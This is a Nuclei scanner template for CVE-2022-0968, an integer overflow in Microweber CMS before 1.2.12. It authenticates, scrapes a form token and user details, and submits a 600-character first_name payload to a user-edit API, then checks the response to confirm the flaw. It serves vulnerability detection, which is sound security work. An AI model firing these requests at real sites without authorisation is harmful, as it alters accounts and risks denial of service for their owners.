Microweber <1.2.12 - Integer Overflow

id: CVE-2022-0968

info:
  name: Microweber <1.2.12 - Integer Overflow
  author: amit-jd
  severity: medium
  description: |
    Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field 'first & last name,' which can allow an attacker to cause a denial of service via a crafted HTTP request.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution or denial of service.
  remediation: First name and last name input should be limited to 50 characters or maximum 100 characters.
  reference:
    - https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
    - https://github.com/advisories/GHSA-5fxv-xx5p-g2fv
    - https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0968
    - https://github.com/microweber/microweber/commit/80e39084729a57dfe749626c3b9d35247a14c49e
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 5.5
    cve-id: CVE-2022-0968
    cwe-id: CWE-190
    epss-score: 0.00076
    epss-percentile: 0.30933
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: microweber
    product: microweber
  tags: cve,cve2022,overflow,microweber,cms,huntr
variables:
  payload: '{{repeat("A", 600)}}'

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /api/user/2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=

    matchers:
      - type: dsl
        dsl:
          - contains(body_3,'\"first_name\":\"{{payload}}\"')
          - 'status_code_3==200'
          - 'contains(header_3,"application/json")'
        condition: and

    extractors:
      - type: regex
        name: form_token
        group: 1
        regex:
          - '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
        internal: true
        part: body

      - type: regex
        name: user
        group: 1
        regex:
          - '<input type="text" class="form-control" name="username" value="(.*)">'
        internal: true
        part: body

      - type: regex
        name: email
        group: 1
        regex:
          - '<input type="email" class="form-control" name="email" value="(.*)">'
        internal: true
        part: body
# digest: 4a0a00473045022100c769c23436e48c6af7f68be0c61d3a8c79d710594ebeac1f61f9ddceff7a73f502201622781698c12d1099d838b9a9f3fbe22495c06a765be543d2ec3882a80d53e5:922c64590222798bb761d5b6d8e72950